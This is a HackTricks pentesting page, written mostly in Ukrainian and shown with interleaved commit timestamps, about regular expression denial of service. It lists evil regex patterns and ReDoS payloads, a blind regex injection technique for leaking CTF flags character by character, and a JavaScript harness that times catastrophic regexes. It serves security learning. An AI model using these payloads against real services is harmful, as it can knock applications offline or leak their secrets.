hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

106 lines
7.7 KiB
Markdown
Raw Normal View History

# Regular expression Denial of Service - ReDoS
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
# Regular Expression Denial of Service (ReDoS)
2024-02-06 03:10:38 +00:00
**Відмова в обслуговуванні через регулярні вирази (ReDoS)** відбувається, коли хтось використовує слабкі місця в тому, як працюють регулярні вирази (спосіб пошуку та зіставлення шаблонів у тексті). Іноді, коли використовуються регулярні вирази, вони можуть ставати дуже повільними, особливо якщо обсяг тексту, з яким вони працюють, збільшується. Ця повільність може настільки погіршитися, що зростає дуже швидко навіть при незначному збільшенні розміру тексту. Зловмисники можуть використовувати цю проблему, щоб змусити програму, яка використовує регулярні вирази, перестати працювати належним чином на тривалий час.
2021-01-26 13:53:03 +00:00
## Проблемний алгоритм Regex Naïve
2021-01-26 13:51:43 +00:00
**Перевірте деталі в [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
2021-01-26 13:51:43 +00:00
## Злі Regexes <a href="#evil-regexes" id="evil-regexes"></a>
2021-01-26 13:51:43 +00:00
Злий шаблон регулярного виразу - це той, який може **застрягти на створеному вводі, викликавши DoS**. Злі шаблони регулярних виразів зазвичай містять групування з повторенням і повторення або чергування з перекриттям всередині повторюваної групи. Деякі приклади злих шаблонів включають:
2021-01-26 13:51:43 +00:00
2024-02-03 16:02:14 +00:00
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
2024-03-29 18:49:46 +00:00
* (.*a){x} для x > 10
2021-01-26 13:51:43 +00:00
Усі вони вразливі до вводу `aaaaaaaaaaaaaaaaaaaaaaaa!`.
2021-01-26 13:51:43 +00:00
## ReDoS Payloads
2022-04-05 22:13:36 +00:00
2024-03-29 18:49:46 +00:00
### Витік рядка через ReDoS
2022-04-05 22:13:36 +00:00
У CTF (або програмі винагороди за помилки) ви, можливо, **контролюєте Regex, з яким збігається чутлива інформація (прапор)**. Тоді може бути корисно зробити **сторінку замороженою (тайм-аут або тривалий час обробки)**, якщо **Regex збігся** і **не якщо не збігся**. Таким чином, ви зможете **викрасти** рядок **символ за символом**:
2022-04-05 22:13:36 +00:00
2024-03-29 18:49:46 +00:00
* У [**цьому пості**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) ви можете знайти це правило ReDoS: `^(?=<flag>)((.*)*)*salt$`
* Приклад: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* У [**цьому звіті**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) ви можете знайти це: `<flag>(((((((.*)*)*)*)*)*)*)!`
* У [**цьому звіті**](https://ctftime.org/writeup/25869) він використав: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
2022-04-05 22:13:36 +00:00
### Контроль вводу та Regex в ReDoS
2021-01-26 13:51:43 +00:00
Наступні є прикладами **ReDoS**, де ви **контролюєте** як **ввід**, так і **regex**:
2021-01-26 13:51:43 +00:00
```javascript
function check_time_regexp(regexp, text){
2024-03-29 18:49:46 +00:00
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2021-01-26 13:51:43 +00:00
}
2022-04-05 22:13:36 +00:00
// This payloads work because the input has several "a"s
2021-01-26 13:51:43 +00:00
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
2024-03-29 18:49:46 +00:00
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2021-01-26 13:51:43 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
2024-03-29 18:49:46 +00:00
## Інструменти
2021-04-16 09:25:21 +00:00
2022-04-27 12:34:57 +00:00
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
## Посилання
2024-02-03 16:02:14 +00:00
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
2024-02-06 03:10:38 +00:00
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
2024-02-03 16:02:14 +00:00
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Підтримайте HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}